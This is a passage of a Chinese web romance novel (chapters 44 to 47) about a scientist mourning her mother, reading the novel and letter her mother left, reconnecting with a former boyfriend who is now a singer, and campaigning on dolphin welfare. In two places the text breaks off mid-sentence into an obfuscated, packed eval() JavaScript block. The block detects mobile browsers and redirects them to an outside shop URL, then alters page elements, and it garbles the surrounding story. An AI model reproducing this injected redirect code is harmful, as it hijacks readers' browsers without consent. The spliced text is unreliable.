何舟泽握紧了乔之的手,发现她的微微颤抖。他以为她会拒绝,却不想她重重地点头:“……可以。” 她成了一只刺猬,又忍不住要给对方看一看自己柔软的肚皮。 那天乔希给何舟泽留下的是热情、活泼的印象,即便有八分相似的脸,她与乔之完全是两类人。 再一次见面是两个月前,他悄悄探访了卧病在床的乔希。 多年前那个浑身散发着生机的女人已经瘦骨嶙峋,她抓着他的手,拜托他好好照顾乔之,别留她一人。 那时何舟泽才知道,原来乔之的外婆早已离世。 乔之还在抽泣着,她的双眼通红,像破碎的红水晶,让人看得心碎。 她垂眸道:“何舟泽,我再也没有亲人了。” 何舟泽伸手轻轻抱住她,他轻柔地抚了抚她的头发,柔声道:“乔乔,我会一直陪着你的。” 乔之埋在何舟泽宽大的肩头,咬牙想忍住流泪的冲动,身子不住地轻颤着。他们早就没有什么关系了,但此刻她却有些舍不得放开他,贪恋这一点依靠。 “想哭就哭吧。你不用永远坚强。”何舟泽轻轻地抚了抚她的头发,圈住她的手臂紧了紧。 听见这话,乔之刚止住的眼泪又奔流而下,就如车外如瀑的雨。 她低声呜咽着,完全卸下了防备。半晌,她的泪水就濡湿了 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她按住何舟泽的手,转过头撞入他向来明亮的眼眸。她忽地慌神,低下头道:“……我自己来吧。” 何舟泽拨开她的手,又重新打开了吹风机,声音混在风声里:“我来吧,快好了。” 乔之这才反应过来刚才发生的一切,她想到他递过来的伞、他的肩膀和拥抱,每一瞬都清晰。耳边分明有嘈杂的响动,但乔之还是听见了自己的心跳。 几分钟后,何舟泽收好吹风机,安静地在她身旁坐下。 乔之没有看他,只是低声道:“抱歉,又耽误了你的时间。” 何舟泽将她转过来,自然地抬手梳理她的头发:“没关系,今天本来就没有工作安排。” 乔之抬眼,再次在他的眼中看见了自己。 窗外的雨还在下着,就和多年前的那场雨一样没完没了,好像要替天下伤心人流尽眼泪。 乔之忽然出声:“外婆走的那天,也下了一样的雨。” “后来我再也不喜欢雨天,只想快点离开这个总是下雨的城市。还好圣地亚哥不怎么下雨。” “可是这次,好像已经无处可逃了。” 无论在哪,她孤身一人的事实都不会改变。 何舟泽向窗外投去视线,江临的雨总是不合时宜地下,尤其是夏天。 忽然,他像想起了什么似的开口问道:“……是我们毕业那年吗?” 乔之点头,低声“嗯”了一句。 于是何舟泽便了然了——原来是这样,所以那时他才没有等到她。 第一次去幸福小厨吃饭那天,他决心要和乔之说明一切。比起公司安排的所谓康庄大道,他更在乎这条路上有没有她在身边。 可是他在雨里站了一天又一天,三楼那间阳台上的花草都被雨浇得零落了,她也没有回来。 后来有一天,他隔着几层关系得知,乔之比原计划提早一个月出国。 她不会再回来了,所以他不再有机会和她说上话——直到多年后的另一个雨天。 44.第四十四章 葬礼结束后两天,姜永望再次给乔之打来电话。 电话里的男人声音沙哑,略带歉意道:“乔乔,不好意思又打扰你了。我今天在收拾你妈妈的遗物,发现了一些东西,想让你看看。你今天有空过来吗?” 乔之闻言有些惊讶,心中也好奇是什么东西值得姜永望专程打电话来告知。于是她思索片刻后便答应了:“好,我下午来。” 乔希和姜永望住北川区,和外婆家只隔了两条街。江临本地人大多都聚集在此,这一片是老城区,与江临大学所在的西坪区隔了大半个城市。 乔之怕极了触景生情,所以回国后很少来这边,仅有的一次还是几个月前去姚朔家吃饭。 乔之在江大读书的时候,还没有直通的地铁,中途要转乘一次才能到家。她离开的这几年里,江临的人和事都发生了巨变,光是地铁就多了五六条,现在她已经可以直接从学校附近乘地铁返回老城区。 ——但她今天却刻意选择了与过去相同的路线,即便要多花半个小时,也想抵抗这物是人非。 这两条地铁是江临最早开通的线路,途径城市人口最密集的一些重要区域。 乔之想起她和何舟泽在一起后的第一个寒假,他提前返校,每天都坐这趟车来找老城区找她。他甘愿每天多花两个小时,就算有时可能只能见上一面。 她不知道那时候他在这趟地铁上会如何度过独自一人的两小时。 她想,他大概会戴着耳机,手脚不自觉地打着节拍,因为生活无处不是他的舞台。 那年冬天没有下雪,江临比以往都要温暖。而今朝,才十一月就已经寒风凛冽。 乔之到了姜永望家楼下。 一楼小台阶上有个男人套着件黑色卫衣在抽烟,他似乎在刷短视频,音量不大,但乔之听出了背景音是何舟泽的歌。 她微微侧目,对方正好也转过头来,两人打了个对眼。 男人的目光里透着点探问,但乔之没有别的意思,于是只微笑颔首后便上了楼。 顶楼的平台已是一片寂寥,记忆中盛放的鲜花和饱满的果蔬都已不见颜色。杂草丛生,似乎已经很久没人来打理。 房门没关,红棕色的木门大大地敞开着,入目便是凌乱的客厅。 乔之敲了敲门,正埋头打扫的姜永望听见响动后抬头,见是她便放下东西走过来:“乔乔来了啊。不好意思,家里有点乱。” 他的眼下有两片淡淡的青黑,眼皮比平日里要更肿。 乔之摇摇头表示没什么。 姜永望说要给她看的东西是一本书,薄薄一本,装帧极为简单。她不明所以地看向姜永望,对方只说:“你打开看看吧。” 乔之接过,见封面只印了书名和作者名。完全陌生的名字,她未曾听说过这个作家,于是她带着疑惑翻开第一页。 “献给我的女儿乔乔。” 扉页的几个字闯入眼帘,乔之怔怔地往后翻了几页,发现这本书并没有出版信息——这是乔希自己印的。 “……这是什么?”她抬头问姜永望,却发现对方的眼睛里已布满红血丝,全是疲惫之意。 乔希的离世对他来说也是一个不小的打击。 “你妈妈给你写的小说。”姜永望又从一个箱子里抽出几本文学杂志,翻开目录页,指着相同的笔名道,“这是你妈妈之前发表过的一些作品。” 乔之怀着不敢置信的心情问道:“……可以让我看看吗?” 她从未听说过母亲有写小说的喜好。 姜永望点头,将那一小叠杂志递过来:“你妈妈一直想当个作家呢。” 乔之颤着手翻开书页,心中却忽然厘清了一些事情——怪不得乔希这么喜欢《小妇人》。《小妇人》的女主角Jo的梦想就是成为一名作家啊。 乔希发表的这几篇小说篇幅都不长,加起来不过几万字,乔之很快就读完了。但让她震惊的是,第一篇发表的作品迄今已经过去二十五年。 “她这么多年……都在写小说吗?” 姜永望的脸上不禁浮现出一丝回味过往的神色:“是啊,其实从你出生前她就在写了。我没有什么文学素养,以前读过你妈妈的文章,只觉得很美很有才气。结婚前我答应过她,要一辈子支持她做自己的想做的事。” 说完他又苦笑:“只不过她的运气不太好,一直没碰上赏识她的伯乐。” 乔之垂眸没说话。 其实并不是运气差。乔希的这几篇小说都被安放在了不太重要的栏目里,足以见得并不是什么非常优秀的作品,只是堪堪到了可以发表的及格线。 这么多年的努力才结出这么一点成果,这离“作家”还差得很远。 “其实在小报刊上还发表了不少,但是她觉得那些还不够好,所以我只偷偷收藏了一部分。”姜永望又抽出了一本册子,上面贴了一些从报纸上剪下来的豆腐块。纸页有不同程度的泛黄,能看出其中有不少文章已有些年月。 地方性报纸和纯文学刊物的门槛不足以一概而论,但乔之还沉浸在母亲竟然有长达三十年的梦想追求这件事给她带来的震惊里而久久不能平复。 “你手里那本书本来有机会正式出版的,都怪我。”姜永望懊恼地按住自己的额头,仿佛悔恨般不住地摇头,“当时有个出版社好不容易愿意让我们自费出版,但是我那时候体检查出了一个小毛病,需要花些钱进一步治疗,所以你妈妈就放弃了。” 姜永望的声音里带了点轻微的哭腔,虽然他努力克制住了,但乔之还是听出了他的悲痛。 “我们这么多年唯一一次吵架就是为了这件事,但到了她生病,我却没发现她根本没有好好去医院,一直都是去小诊所买点药将就。我对不起你妈妈,也对不起你……” 乔之听见这话,也怔住了。她的脑子里忽然闪现过多年前无意撞见的某个场景,她语气有些急:“……你说什么?” 真相近在咫尺。 男人愣住了,没明白她的意思。 乔之鼓起勇气开口问道:“……您体检异常是什么时候的事?” 姜永望没想到她指的是这件事。时隔多年,他的记忆已没那么清晰,只是大致回忆道 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她刚走出几步,后面有人叫住了她:“等等——你是乔阿姨的女儿吗?” 乔之回头,见是刚刚在楼下抽烟的那个年轻男人。 对方看到她转过身,赶紧将手中的香烟掐灭,起身拂了拂身上的烟灰。他悄悄打量着乔之,虽然眼中没什么恶意,但仍让她有些不舒服。 乔之皱了皱眉。 意识到自己的失态,男人赶紧道歉:“对不起。我一时没反应过来,你长得和乔阿姨太像了。” 听他这话,似乎是乔希认识的人。乔之没抬脚离开,反问了一句:“你是?” 男人自我介绍道:“我叫李晔平,就住这附近,从小没爹没娘的,姜叔他们以前很照顾我。乔阿姨经常提起你,说自己的女儿在美国读博士,是个科学家。可为你骄傲了呢!” 那天葬礼上来吊唁的人也总这么跟她说,告诉她“你妈妈平时经常提你”。 乔之很少向别人提起自己的母亲,因为她以为她们母女俩早就形同陌路。却不想在乔希口中,自己原来是个常客。 “刚刚你上楼的时候我就感觉有点眼熟。我以前见过你一次,你那天还给了我一束花。不过那时候我不知道你就是乔阿姨的女儿。” 李晔平口中的那束花,就是乔之本想用作道歉的雏菊,可惜最后没能送到乔希手中,阴差阳错地被她随手塞给了别人。 原来他就是那天那个蹲在楼梯脚的少年。 转眼多年,有人从年少走入成人,有人韶华成空化作一抔土。 乔之的眼圈再次泛红。 李晔平见她一副要哭出来的模样,手足无措地安慰道:“诶诶……节哀。你不要太难过了,姜叔很会照顾人,乔阿姨最后没受什么罪。你这么厉害,我想她应该走得很安详。” 还不如别安慰了。乔之想。 她努力忍住眼泪,挤出一个笑辞别:“谢谢。” 转身便离开了这处物是人非的老楼。 45.第四十五章 乔之紧紧揣着乔希为她写的小说,上了地铁就忍不住翻开来读。 这本小说像极了乔希本人的自传。 幼年丧父,在母亲严格的管束下叛逆地长大;年轻时识人不清,未婚先孕后深陷流言蜚语之中;走南闯北,笔耕不辍却一事无成——无论从哪个角度看都是失败者的一生。 情节设计并不高明,行文结构勉强只算得上流畅。这不是一本非常优秀的作品,但乔希笔下的女主角和她本人一样,是深陷泥潭也向阳怒放的鲜花,永远相信爱也敢于爱。 乔之感觉自己好像在旁观母亲的一生。 地铁到站时,她读完了半本。她不知道后半本书会走向何方,是如现实一般苦涩,还是风雨后终见彩虹。 正好赶上了晚高峰,下地铁时人潮汹涌。 乔之不知被谁挤了一下,差点跌倒,手中的书顺势滑落了。她弯腰去捡,却发现书页中掉出几张信纸。 翻开后第一眼,她就看见了自己的名字。 乔之的心里涌起一股没由来的害怕,她收好信纸,不敢再往下看一个字。 出了地铁站,乔之拖着沉重的双脚往家的方向走。十一月中旬的晚风满含着凉意,吹得人手脚冰凉。可即便如此,她脚下的步伐还是比平日里要快上许多。 她想读那封信,却又没有勇气。乔希走后,她才发现自己根本就不曾了解过她。过去许多次母亲想要靠近,都被她拒之门外。 她太害怕了,害怕得到后会在某一天再次被丢弃,于是干脆从一开始就保持安全距离。 可是乔之还是不得不承认,她有些后悔。 她强忍着泪意读完了剩下半本书,小说并没有一个明确的结局。末尾处女主角看着朝阳,笑着说了一句《飘》中的经典台词:“明天又是新的一天了。” 明天她还要用力去爱,去追寻自由,去挥霍生命。 ——就像乔希本人一样。她一生都不畏惧去爱,不畏惧死亡,永远年轻、永远向上。被爱情欺骗过还会奔赴下一段感情,被不懂事的女儿伤害后还会满怀期待,被病痛折磨后还会渴望遥远的可乐香。 转眼那叠信纸又出现在乔之的眼前。 最后她还是翻开了。 纸面上是不熟悉的字迹,但乔之知道这是乔希的亲笔。 “乔乔,今天妈妈去学校看你是想让你在考前别太劳累,没想到最后还是惹你生气了。我好像真的不是一个很称职的母亲。不过我知道我的女儿已经高三,马上就要开启崭新的人生旅程。还有你说错了哦,不是你生下来就没有父亲,而是妈妈觉得那个人根本不配拥有你这么好的女儿。 …… 乔乔,你年纪小,可能还不懂。自由是既能选择不爱,也有勇气去爱。妈妈从来没有一头扎进爱情里晕头转向,爱或不爱都是我的选择。 …… 我不会做家务,也不知道怎么带小孩,所以总以为外婆能更好地照顾你。乔乔,我承认自己很自私,为了心无旁骛地追求自己的梦想,把你丢下了。现在看来,我不仅没成为一个好作家,也没有成为好母亲。 …… 不过有一件事我很确信,我最大的幸运就是有你这么一个优秀可爱的女儿。希望我的女儿乔乔勇敢、自信,永远可以开怀大笑,永远有爱与不爱的自由。” 几滴泪砸在了米色的旧信纸上,濡湿了“我的女儿”四个字。 乔之想,她何尝不是一个失职的女儿呢?她从未了解过真正的乔希,自以为是了许多年,她明明就是一个比她怯懦许多的胆小鬼,永远对触手可及的爱敬而远之,擅长搞砸所有关系。就连在将别之际,她仍要揭母亲的伤疤。 她是比可乐还要伤人的毒药。 翻到信纸背面,乔希写道:“虽然写了很多,但还是不知道要怎么把信交给你。我怕靠近一点,就会吓得你退让十分。说到底是我的错。” ——她是那么懂她,知道她渴望温暖与爱,却又害怕被灼伤,更害怕光明后可能坠入的黑暗。 - 乔希葬在江临市郊区的一处公墓,墓园坐落在一个山庄里——这是江临海拔最高的墓地,所以她长眠辞世后仍能俯瞰人世间,时常能与清风明月作伴。 墓园很大,里面分了很多个墓区。乔之从入口处乘坐摆渡车一路沿山丘向上,沿途的植被在初冬时节仍鲜翠欲滴。 乔希的墓地在最深处,姜永望精心挑选了一个极好的地段,一小块地便价值不菲。乔之现在才发现,其实继父对母亲的真心随处可见,一直是她一叶障目且不识真心。 乔希新入葬,黑色大理石制成的墓碑崭新发亮,墓前的鲜花都还娇艳地绽放着。 乔之带了一捧雏菊,和多年前她未送出的那一束一模一样。她静默地跪坐在地,心中有千言万语却不知如何开口。她想说,我读了你写的小说,我知道姜叔叔确实给了你幸福,对不起我没有学会你的勇敢。 但最后她只轻轻说了一句:“妈妈,我好想你。” 墓碑正中的黑白相片里,乔希笑得明媚,就如同从前每一次见面,她永远开朗,仿佛从未把这些小事放在心上。 乔之流着泪,又学着和乔希一样笑:“您怎么能留下我一个人呢?” - 下山准备离开墓园的时候,乔之没有给服务中心打电话让摆渡车来接。今日天气很好,她决定一个人踱步下山。 刚刚她在墓前想起了许多被她忽略的记忆片段,原来乔希在她的生活里留下了这么多她未曾注意的痕迹……还有遗憾。 墓园道路两边的灌木丛长得很高,几乎有两米高,密密地盖住了墓园里的情形,让外人窥探不了里边的哀愁与伤痛。 灌木丛在不远处被修剪出了一个平整的口子——这是另一处墓区入口,这里修缮的时间比乔希所在的区域要早一些。 乔之正准备安静地路过,却见另一头走出一个人。 对方戴着一副黑色的墨镜,线条利落的嘴唇带着浅浅的弧度。 乔之没想到会在这里遇见何舟泽。 何舟泽显然也看见了她。他摘下墨镜,轻声打了个招呼:“好巧。你来……看望阿姨吗?” 乔之点点头,对他出现在此有些惊讶:“嗯。你也是来祭拜谁的吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617948|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>何舟泽走到她身边,眼底有忧伤的神色:“我来看望一位前辈。” 何舟泽口中的前辈就是几年前不堪舆论和精神压力而自杀的巨星闻行。 当初影视音乐双栖的闻行一夜之间被爆出是商界某知名人士的私生子,而那位企业家的原配当初死得蹊跷,死因中有些弯弯绕绕的疑团。 一时之间人云亦云,有关他身世的丑闻甚嚣尘上。最关键时刻,弃养他的亲生母亲也站出来吸血。最终,一代巨星陨落。 何舟泽出道首秀就是和闻行的合作舞台,后来还颇受其照顾。他被雪藏后只有闻行还会来关心他的情况,那首让他迎来转机的《夏日序曲》正是在其帮助下才能顺利发出。 然而没想到仅在几个月之后,这位深受他尊重的前辈在家中点燃了煤炭,年轻生命消逝。他再也来不及郑重道谢。 闻行拿影帝的那部电影就是在江临市取景拍摄的,他一直很喜欢这个城市。 闻行一生漂泊,居无定所,所以死后悄悄葬在了此处。 “闻行。”何舟泽轻轻吐出这个名字,叹了口气,“你应该听过他的名字。他就葬在这里。” 乔之自然记得这个名字。 何舟泽刚出道的时候就常常和她提起闻行,印象中这位娱乐圈的大前辈给了他许多帮助。闻行自杀的事情她也有所耳闻,毕竟那是当年的爆炸性新闻之一。 “闻老师帮了我很多,如果没有他就没有今天的我。” 乔之这才发现,何舟泽墨镜下的眼睛,已经有些泛红。 “他自杀前一周,我在东州录节目,闻老师当时也在那里拍戏。有天晚上他问我要不要一起吃个夜宵,但我第二天一早就有录制,所以只说回京市再约。然而等我完成了工作,就听到了他自杀的消息。” 他顿了顿,声音有点抖:“他走得太急,我都没来得及和他好好道谢。” 他最后强颜欢笑道:“我以前也觉得人生最大的遗憾是与梦想失之交臂,后来才明白自己还是太年轻。” 他低下头看乔之,轻声道:“最大的遗憾明明是,想说的话再也没机会说出口,想见的人再也不会出现。” 乔之哑然。 她以前也以为过自己想过的人生才能消解遗憾。她想要有自己独立的事业,想要不活在别人的阴影之下,想要不轻易落泪,想要坚强到无需关怀与爱。 可直至乔希离开,她才发觉自己根本不清楚何谓“想过的人生”。她一直把错误的讯息当作精神支柱,曲解了爱的定义,也模糊了自己的内心。 她说不想成为她,其实是她根本无法成为她。 何舟泽说:“乔乔,其实毕业后不久,我去外婆家找过你。” 话没说完,但两人都心知肚明之后的事情。乔之的外婆意外去世,她提前离开了江临,他们没能见上一面。 乔之想问问他,他当初是为了什么要来找她,他是不是有什么来不及说出口的话。她心里忐忑,却又有点期待。 然而何舟泽却先开口了:“乔乔,这些年我一直害怕再也见不到你。” 一字一句,他说得很认真。 46.第四十六章 时隔几周,海洋学院高年级选修课《海洋动物行为生态学》终于恢复了线下授课,程青筠早早来到教室里翘首以盼。 乔之不在学校的这段时间里,她已经将领域内的经典论文都阅读过一遍。前几天她给乔之发阅读报告的时候,对方问她想不想实地观察一下圈养海豚的生活情况。程青筠自然是乐意之至,于是她们今天下课后会一起前往江临市海洋馆。 乔之受伤被救的新闻已过去一段时间,但校内不像校外那样热点密集,不少学生都还记得几周前的十大热帖。 选修这门课的学生不多,频繁交流的上课模式让师生关系比一般课程更紧密。乔之一走进教室,就有三三两两的学生向她问好。 “乔老师,你的腿怎么样了?” “乔老师,最近怎么样?走路方便吗?” 她接受着来自学生的关心,一一笑答。 下课后,乔之和程青筠一起往办公室走。 女生早就憋了一肚子的话,这会儿忍不住絮絮叨叨起来:“乔老师,我前几天在一个科普视频看到你了。” 程青筠捏着手机,飞速地翻出了自己口中的那个视频。 乔之侧目,果然看见了温言的账号主页,第一条就是她们一起录制的“动物表演背后:谁欢笑谁落泪”。这个视频发了一周多的时间,数据对比温言以往的视频算不上很火热,只堪堪到了一个平均值。 乔之心里难免有些失落,但毕竟一飞冲天是小概率事件,她又很快释怀。 不过程青筠刷到这条视频还是让她有些惊讶:“你是怎么刷到的?” 权当是收集用户信息,之后她和温言才能对症下药。 程青筠的手指在屏幕上滑动了几下,然后转过来给乔之看:“这个视频在潜力榜上挂了好几天了,虽然位次一直不高,但往下多滑一下就能看到。我也是动物表演的抵制者,所以就点进去看了。没想到这个视频是老师你录制的!” 女生的脸上带着找到同道中人的雀跃感。 乔之不懂视频软件的推荐算法,但能增加曝光率毕竟是个好事。她不清楚温言是否有注意到,于是打算晚点给她发个消息。 “不过乔老师,你是怎么想到这个选题的?国内关注这件事的人好少,相关的科普视频根本找不到几条。” 乔之道:“等会儿到海洋馆你就明白了。我们要观察的海豚自从进入人工养殖环境后,状态一路下滑,现在已经很危险了。” “啊?”程青筠微张了张嘴,诧异道,“可是最近海洋馆一直都有海豚表演呀!” 乔之轻叹了口气:“毕竟这是他们的重要卖点之一,很难放弃吧。所以我才想着从观众角度出发,进行这方面的科普。不过——” 她顿了顿,又自嘲般笑道:“看起来任重道远。” 仿佛是一语成谶,两人到海洋馆后,乔之见到了上次有过一面之缘的副馆长。她向对方提起这件事,那边只是不断打太极。 “乔老师,你说的这个事馆里也有关注,所以我们最近已经减少表演频次了,那些状态明显不好的海豚也都在休养中。” 但这根本不是减少表演频次就能解决的问题,整件事从根源上就已经错了。 程青筠心直口快道:“真的不能取消表演环节吗?” 副馆长打量了她一番,连连问道:“小姑娘,你知道我们引入一条海豚要花多少钱吗?日常养护又要花多少吗?你说,取消表演后客流量,馆里的日常维护要怎么办?” 他的脸上仍是笑容可掬,但着实没什么温度。 乔之不动声色地将程青筠护在身后,心里也明白了海洋馆的态度,于是不再纠缠:“嗯嗯,我们理解。但是海豚状态不好也会有些不良影响,希望馆里能再考虑考虑这件事。” 待副馆长走后,程青筠还有些气愤:“明明打着爱护海洋生物的旗号,实际上却不作为!” 乔之安抚了几句后带她进海豚馆内部。 小徐早就在等着了,他刚刚简单听了几句,也知道乔之这些天在忙些什么。他忍不住帮忙解释道:“乔老师,这件事馆里真的有难处。其实前段时间我们就开会讨论过,想通过别的法子解决营收问题,但实在是很难。门票还是占了大头,绝大多数游客又是为了看表演而来。纪念品之类的收入根本解决不了问题。” 归根到底就是钱的问题。 除此以外,还要有来自官方的认可和奖励措施。没有有关部门的牵头,这件事大概很难推行下去。 乔之只能笑笑表示理解,心里开始盘算着有什么可靠的办法可以让事情有所转机。 来海洋馆前,乔之就已经向小徐要了近几年所有数据。她发现今年之前,健康数据虽然也有上下波动,但总体能维持在正常水平。近几个月不知道是因为什么原因,几乎所有海豚的状态都开始下滑,无论性别和年龄。乔之主要的观察对象——奇奇的变化尤其明显,刚进馆时奇奇属于成年海豚里比较强健的类型,但现在已经严重消瘦。 程青筠在一旁轻呼了一声:“这些海豚会不会是受到了奇奇的影响?就像我平时看到别人伤心难过,也高兴不起来。” 她说得很小声,像是自言自语,但却一下击中了乔之。 虽然目前还没有有关海豚群体抑郁的研究,但基于这个物种集体意识强烈的特性,这的确是一个很合理的推测。 见乔之看过来,程青筠有些不好意思道:“……我也是随便一说。” 乔之拍拍她的肩,赞许道:“这是个很好的推测。科研是需要想象力的。” 小徐也肯定地点点头:“其实我之前也这么猜测过。”他抽出一支笔在趋势图上圈圈点点道,“乔老师你看,这个变化的节点就是在奇奇到馆后不久。” 乔之微蹙着眉,扫视了一圈数据,发现果真如此。她问道:“馆里的海豚平时生活和休息的区域固定吗?” 小徐猛然醒悟,他和乔之对视了一眼,肯定地点点头。 有了大致的推测,乔之确定了接下来的研究方向,海洋馆也尝试着调整养护方案。不过一切都有些扬汤止沸的意思,终究是治标不治本。 乔之和程青筠走出海洋馆时,心情都算不上太好。 程青筠晚上要去表哥家吃饭,乔之则要回学校整理资料,于是两人在地铁站告别。 乔之心里还想着刚刚程青筠提出的猜想,于是她在地铁上就开始用手机查找相关的研究。晚高峰的地铁上人潮拥挤,手机信号一顿一顿,每打开一个网站就要花费不少时间。等车厢逐渐空下来,乔之收到了温言发来的微信。 【温言:学妹!特大好消息:那个视频的播放量在今天下午翻了两倍![截图]】 乔之点进去,看见温言发来的截图里,那个视频的播放量和点赞量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638985|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经比她上次看时多了一位数。她想起下午那会儿程青筠跟她说的时候,数据明明还没这么夸张。 【Jo:下午有个学生跟我说,视频在潜力榜挂了好几天,会不会是因为这个原因?】 【温言:潜力榜的确带了点流量,不过这次主要还是因为视频被首页推荐了!而且才这么一会儿,我刚刚就在某音上刷到类似的短视频了。】 乔之和温言做的是长视频,流量天然比不过短视频。尽管对方有蹭热度的嫌疑,但反过来说也是在为她们的视频引流。 【温言:我打算趁热打铁再做几个同一话题的视频,你觉得如何?】 乔之见视频的热度起来了,心里很高兴。她最初的目的本来就不是赚流量,而是为了让抵制动物表演的理念深入大众,所以对此自然不会持反对意见。加上今天下午在海洋馆的所见所闻,她更加觉得此事迫切。 【Jo:没问题!我最近又整理了一些资料,发给你看看。[文件][文件]】 【温言:哇,专业的就是不一样!我今晚不睡了,通宵也要看完。咱们这几天快马加鞭再录一个。】 乔之把自己的想法理了理,一并发了过去,得到温言好几个隔空的飞吻。和精力永远充沛的人一起工作果真不一样,乔之感觉自己顿时也充满了干劲。 她想了想,打开文档准备给有关部门写一封倡议书。 既然下定决心要做好这件事,她就要从方方面面入手推进。 - 程青筠一早收到母亲的微信,说她表哥今天下午会到江临,顺便给她带了冬季衣物。她的母上大人叨唠了一万遍:江临比家里要冷,出门要多穿衣服,以免感冒。 听说表哥前几天在老家那边出差,临时回趟家就被抓了壮丁。程青筠简直能想象她妈妈会如何奴役表哥左三袋右三袋地当苦力。 程青筠和表哥的关系很好,她从小就缠着对方带她玩。直到这些年表哥开始工作,她才收敛了几分。不过蹭顿饭这种事,她还是毫不客气的。 小姑娘打车到小区门口,门卫早就认识她了,没等她掏出门禁卡就主动开门让她进去了。其实表哥不常住这儿,程青筠也没来过几次,但她长得很漂亮,见谁都笑盈盈地打招呼,所以小区的保安个个都认识她。 “小姑娘你又来了啊!要不要捎你一程?”一个在巡逻的保安正巧路过门口,拍拍巡逻车的副驾,笑着招呼她。 程青筠一蹦一跳地上了车:“当然好呀!”毕竟这个小区大得很,能少走两步都是好的。 等到了目的地,保安不好意思地叫住她:“上次你给我的那个蛋糕是在哪里买的呀?我女儿吃了之后天天馋得不得了。” 程青筠侧头想了想,才想起上回顺手送了盒小点心。她笑道:“就隔壁街那家甜品店!好像是叫什么英文名来着,招牌是咖啡色的!去了就知道。” 等对方道谢完后走远,程青筠才打开房门。 表哥坐在客厅的灰色沙发上,显然是听到了刚刚的对话,头也没回道:“你又和保安打成一片了?” 程青筠笑嘻嘻道:“反正你们小区人员筛选那么严格,又碰不上坏人。” 她走近了,看见对方正开着一个科普视频,屏幕上的人她刚刚才见过。 她惊呼:“哥,你怎么也看科普?” 何舟泽手一顿,关上屏幕道:“随便看看。” 47.第四十七章 程青筠只当是何舟泽无意刷到,没多在意道:“哦。” 她熟门熟路地从柜子里翻出包薯片,边拆边说道:“就是感觉挺巧的,这个视频是我导师录的。” 这下轮到何舟泽惊讶了。他微微挑眉道:“你不是茶学专业的?” 程青筠愤愤地塞了满嘴薯片,不满道:“你也太不关心我了!我大一就转专业了!!” 何舟泽这才想起来,自家表妹换专业的时候家里好像还鸡飞狗跳了一阵子。 他舅舅、也就是程青筠爸爸也是做茶叶生意的,本来以为女儿选了个对口专业可以支持家中产业,没想到读了一学期就吵着要换专业。就像他当初选生物医药工程也有父母想往药物方向发展的考量,没想到最后半路出道,改做了歌手——他们兄妹俩都不是安安分分听从安排的人。 不过这几年他回家少,的确不清楚程青筠后来换了什么专业,只记得是生物相关。但没想到竟然是海洋科学,而且她还是乔之的学生。 “哦——”他假装平静地问道,“那你的导师怎么样?” 他想从另一个视角看一看乔之的生活。 程青筠毫不顾忌形象地瘫坐在沙发上,想了想评价道:“乔老师人很好,不仅科研水平一流,而且很有慈悲心和社会担当。我们今天一起去海洋馆实地观察,她最近一直在为抵制动物表演的事情奔波。” 她说着,又正起了身子,郑重道:“我以后也要成为这样的科学家!” 何舟泽见表妹一本正经的样子,故意逗她:“那你现在均绩多少?” 程青筠像是被戳中痛处,怒目圆睁道:“你干嘛突然提这个?” 何舟泽轻笑了一声道:“你不知道乔老师是荣誉毕业生吗?” 江临大学荣誉毕业生,每年只评选十个名额。获奖者不仅均绩高得吓人,科研成果、学生工作、综合素养也面面俱到。 乔之毕业的时候有二十多门课程满绩,而且还有竞赛奖项和两篇sci一作打底。 “……?!”程青筠当然知道荣誉毕业生的含金量,因此对乔之的敬佩不由得更上一层。 不过她又想到什么似的,奇怪道:“你怎么知道?乔老师好像和你不熟啊……” 何舟泽闻言,意味不明道:“她和你说的?” 程青筠没注意到他的神情变化,只道:“对啊。上次我问……”说到这,她又紧急停住了,差点就要把自己打听他老情人的事情说出口。她硬生生地将话头转了个弯,“反正她只说因为你那时候经常演出,她偶然听说过你的名字。” 说完她才意识到不对:“怎……怎么了吗?” 何舟泽的神色恢复如初,让人看不出一点端倪。他笑笑,起身道:“没什么,吃饭吧。” 他前几天在隔壁省录制《旷野之声》第五期节目,这次录制很顺利,今天上午就早早收了工。 何舟泽老家就在附近,于是他顺路回了趟家,正好碰上来家里玩的舅妈。舅妈听说他今天下午就回江临,于是托他给表妹带上冬装。 不过等何舟泽到了江临已经接近傍晚,所以他只就近点了个外卖。 一顿饭吃得简单,程青筠叽叽喳喳地分享自己的科研初体验,何舟泽从她的话里话外搜寻乔之的痕迹。 好在程青筠真的很喜欢乔之,三句话不离这个名字。 程青筠第二天上午没有课,吃完饭后她干脆留了下来。反正何舟泽家中空房间多,她之前也来住过几次,基本的生活用品都有。 不过她有个作业快到截止时间了,她今晚必须要写完。 今天出门的时候她嫌电脑充电器重,所以没带在身上,不想这会儿电脑电量将要告罄。 程青筠隐约记得何舟泽有同款充电器,于是她抱着电脑冲到客厅,对方捧着手机还在看那个科普视频。 程青筠只当他刚刚没看完,自动忽略了他脸上一闪而过的慌神,自顾自问道:“哥,你电脑充电线放在哪?借我用用。” 何舟泽默默调低了手机屏幕的亮度,随手指了指书房的方向道:“你去书房的柜子里找找看。” 程青筠没注意到他的小动作,心里全是自己那数据堪忧的实验报告。她冲到书房,连翻了几个柜子都没找到充电线,刚准备喊何舟泽过来帮忙,却在不经意间瞧见一张意外露了半边的照片。 